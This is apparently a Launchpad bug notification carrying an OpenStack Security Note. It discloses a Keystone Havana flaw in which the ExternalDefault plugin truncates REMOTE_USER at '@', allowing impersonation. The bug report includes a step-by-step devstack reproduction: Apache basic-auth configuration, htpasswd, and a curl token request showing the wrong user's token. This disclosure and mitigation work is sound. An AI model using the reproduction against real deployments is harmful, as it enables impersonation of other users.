Published the following OSSN to the openstack and openstack-dev mailing lists:
----------------------------------------------------------------- Keystone can allow user impersonation when using REMOTE_USER for external authentication --- ### Summary ### When external authentication is used with Keystone using the "ExternalDefault" plug-in, external usernames containing "@" characters are truncated at the "@" character before being mapped to a local Keystone user. This can result in separate external users mapping to the same local Keystone user, which could lead to user impersonation. ### Affected Services / Software ### Keystone, Havana ### Discussion ### When Keystone is run in the Apache HTTP Server, the webserver can handle authentication and pass the authenticated username to Keystone using the REMOTE_USER environment variable. External authentication behavior is handled by authentication plugins in Keystone. In the Havana release of OpenStack, if the external username provided in the REMOTE_USER environment variable contains an "@" character Keystone will only use the portion preceding the "@" character as the username when using the "ExternalDefault" authentication plugin. This results in the ability for multiple unique external usernames to map to the same single username in Keystone. For example, the external usernames "[email protected]" and "[email protected]" would both map to the Keystone user "jdoe". This behavior could potentially be abused to allow one to impersonate another similarly named external user. Keystone in OpenStack releases prior to Havana uses the entire value contained in the REMOTE_USER environment variable, so those versions are not vulnerable to this impersonation issue. ### Recommended Actions ### If the "ExternalDefault" plugin is being used for external authentication in the Havana release, you should ensure that external usernames do not contain "@" characters unless you want to collapse similarly named external users into a single user on the Keystone side. If your external usernames do contain "@" characters and you do not want to collapse similarly named external users into a single user on the Keystone side, you might be able to use the "ExternalDomain" plug-in. This plugin considers the portion of the external username that follows an "@" character to be the domain that the user belongs to in Keystone. This allows similarly named external users to map to separate Keystone users if the portion of the external username that follows an "@" character maps to a Keystone domain name. To configure the "ExternalDomain" authentication plugin, set the "external" parameter in the "[auth]" section of Keystone's keystone.conf as follows: ---- begin example keystone.conf snippet ---- [auth] methods = external,password,token external = keystone.auth.plugins.external.ExternalDomain ---- end example keystone.conf snippet ---- If neither of the above recommendations work for your deployment, a custom authentication plugin can be created that uses the external username that contains an "@" character as-is. ### Contacts / References ### This OSSN : https://bugs.launchpad.net/ossn/+bug/1254619 Original LaunchPad Bug : https://bugs.launchpad.net/keystone/+bug/1254619 OpenStack Security ML : [email protected] OpenStack Security Group : https://launchpad.net/~openstack-ossg ** Changed in: ossn Status: In Progress => Fix Released -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to Keystone. https://bugs.launchpad.net/bugs/1254619 Title: external.Default authentication plugin only considers leftmost part of the REMOTE_USER split by "@" Status in OpenStack Identity (Keystone): Fix Committed Status in OpenStack Security Advisories: Invalid Status in OpenStack Security Notes: Fix Released Bug description: Hi there. Keystone allows the usage of external authentication. This external authentication makes possible for the deployers to integrate external euth methods in Keystone. When it is executed as a WSGI application (for example when executed behind apache using mod_wsgi) the authentication can be made by the web server and the user will be passed down using the REMOTE_USER environment variable. It is also possible to use external authn by creating a custom WSGI filter that will be pipelined. More details of this behaviour can be seen in [0]. [0] http://docs.openstack.org/developer/keystone/external-auth.html Since the Havana release, this code has been refactored and moved to a pluggable mechanism under keystone/auth/plugins/external.py. If I am not wrong, this was introduced in commit 88c319e6bce98082f9a90b8b27726793d5366326 [1]. This code is in stable/havana since that commit, and is currently in the trunk. [1] https://github.com/openstack/keystone/commit/88c319e6bce98082f9a90b8b27726793d5366326 During the review of [2] the ExternalDefault plugin I've realized that the way the plugin extracts the username can lead to impersonation. The excerpt of code that extracts the username is this one [3]: names = remote_user.split('@') username = names.pop(0) domain_id = CONF.identity.default_domain_id user_ref = auth_info.identity_api.get_user_by_name(username, domain_id) When Keystone is configured to use the defualt domain, the REMOTE_USER variable is splited by all the "@" and then only the leftfmost part is considered, while the leftovers are discarded. Since a username can contain "@" inside (for example when emails are used as usernames) "john" "[email protected]" and "[email protected]" will all get a token belonging to the "john" user. [2] https://review.openstack.org/#/c/50362 [3] https://github.com/openstack/keystone/blob/stable/havana/keystone/auth/plugins/external.py#L39 External authentication opens the door for any deployer to use any authentication mechanism. OpenStack does not ship any external authentication mechanism, but it is perfectly possible to use emails as the usernames (or usernames containing "@", as X509 certificate DNs). For example, a LDAP directory could be configured in Apache to let the users in, and set the REMOTE_USER as the username, instead of the user DN. It is possible to easily reproduce this using devstack as follows: ubuntu@test-ks-vuln:~/devstack$ cat > localrc << EOF > ENABLED_SERVICES=key,mysql > APACHE_ENABLED_SERVICES+=keystone > EOF ubuntu@test-ks-vuln:~/devstack$ ./stack.sh (...) ubuntu@test-ks-vuln:~/devstack$ source openrc admin admin ubuntu@test-ks-vuln:~/devstack$ keystone user-list +----------------------------------+-------+---------+-------------------+ | id | name | enabled | email | +----------------------------------+-------+---------+-------------------+ | dc90b499a1c0499997bd35ba19a2436c | admin | True | [email protected] | | 685cd73e645243c2ba81314cbc5ac89a | demo | True | [email protected] | +----------------------------------+-------+---------+-------------------+ ubuntu@test-ks-vuln:~/devstack$ keystone tenant-list +----------------------------------+--------------------+---------+ | id | name | enabled | +----------------------------------+--------------------+---------+ | d5319bc5b7054e0589ad32048813ee1a | admin | True | | badfa689e32a4d9fb7d102a7d92ad3b7 | demo | True | | 110627ae8c534b548d70a5a159ff65ee | invisible_to_admin | True | | 92484643deb246e680ee3d716a7dfeea | service | True | +----------------------------------+--------------------+---------+ ubuntu@test-ks-vuln:~/devstack$ keystone tenant-create --name external_users +-------------+----------------------------------+ | Property | Value | +-------------+----------------------------------+ | description | | Listen 5000 | enabled | True | Listen 5000 | id | 3ac4e3f06a3548378eb26e3be8dc3952 | | name | external_users | +-------------+----------------------------------+ ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john --tenant d5319bc5b7054e0589ad32048813ee1a --pass secret +----------+----------------------------------+ | Property | Value | +----------+----------------------------------+ | email | | Listen 5000 | enabled | True | | id | a8fe063e8a124f89ada9526d401aad98 | | name | john | | tenantId | d5319bc5b7054e0589ad32048813ee1a | +----------+----------------------------------+ ubuntu@test-ks-vuln:~/devstack$ keystone user-create --name john@external_user.com --tenant 3ac4e3f06a3548378eb26e3be8dc3952 --pass secret +----------+----------------------------------+ | Property | Value | +----------+----------------------------------+ | email | | | enabled | True | | id | 6af78b4bdca646a68069d74cdf8e5334 | | name | john@external_user.com | | tenantId | 3ac4e3f06a3548378eb26e3be8dc3952 | +----------+----------------------------------+ So far I've two different users. For the shake of simplicity I will use Apache's basic authentication, so it is needed to add the following excerpt to /etc/apache2/sites-enabled/keystone: Listen 5001 <VirtualHost *:5001> WSGIDaemonProcess keystone-public2 processes=5 threads=1 user=ubuntu WSGIProcessGroup keystone-public2 WSGIScriptAlias / /var/www/keystone/main WSGIApplicationGroup %{GLOBAL} ErrorLog /var/log/apache2/keystone LogLevel debug CustomLog /var/log/apache2/access.log combined <Location /> AuthType Basic AuthName "Restricted Files" AuthBasicProvider file AuthUserFile /opt/stack/htpasswd Require valid-user </Location> </VirtualHost> And then, create the external user, and authenticate with it: ubuntu@test-ks-vuln:~/devstack$ sudo htpasswd -c /opt/stack/htpasswd john@external_user.com New password: Re-type new password: Adding password for user john@external_user.com ubuntu@test-ks-vuln:~/devstack$ sudo /etc/init.d/apache2 restart * Restarting web server apache2 * ... waiting ubuntu@test-ks-vuln:~/devstack$ ubuntu@test-ks-vuln:~$ curl --user john@external_user.com:secret -d '{"auth": {"identity":{ "methods": []}}}' -H "Content-type: application/json" http://172.16.0.63:5001/v3/auth/tokens |python -mjson.tool % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1134 100 1095 100 39 2301 81 --:--:-- --:--:-- --:--:-- 2300 { "token": { "catalog": [ { "endpoints": [ { "id": "d0b2b692496a4d2c8a70e63543782aed", "interface": "internal", "legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e", "region": "RegionOne", "url": "http://172.16.0.63:5000/v2.0" }, { "id": "da7fe597a1b84529910e890807b47bdb", "interface": "admin", "legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e", "region": "RegionOne", "url": "http://172.16.0.63:35357/v2.0" }, { "id": "eeda9fbcffe94588ad15689d33f2c1e9", "interface": "public", "legacy_endpoint_id": "59eddafa29194ef5a1d221aad17f2f2e", "region": "RegionOne", "url": "http://172.16.0.63:5000/v2.0" } ], "id": "14a4bd4966b74503ab2fb47836101824", "type": "identity" } ], "expires_at": "2013-11-26T23:04:55.341085Z", "extras": {}, "issued_at": "2013-11-25T23:04:55.341121Z", "methods": [], "project": { "domain": { "id": "default", "name": "Default" }, "id": "d5319bc5b7054e0589ad32048813ee1a", "name": "admin" }, "roles": [ { "id": "9fe2ff9ee4384b1894a90878d3e92bab", "name": "_member_" } ], "user": { "domain": { "id": "default", "name": "Default" }, "id": "a8fe063e8a124f89ada9526d401aad98", "name": "john" } } } As you can see, I am getting the id for the user "john" (a8fe063e8a124f89ada9526d401aad98) instead of the user "john@example_user.com" (6af78b4bdca646a68069d74cdf8e5334). The patch in [2] should fix this issue (although it was initially unrelated) since it does not split the username when using the ExternalDefault plugin. To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1254619/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : [email protected] Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp

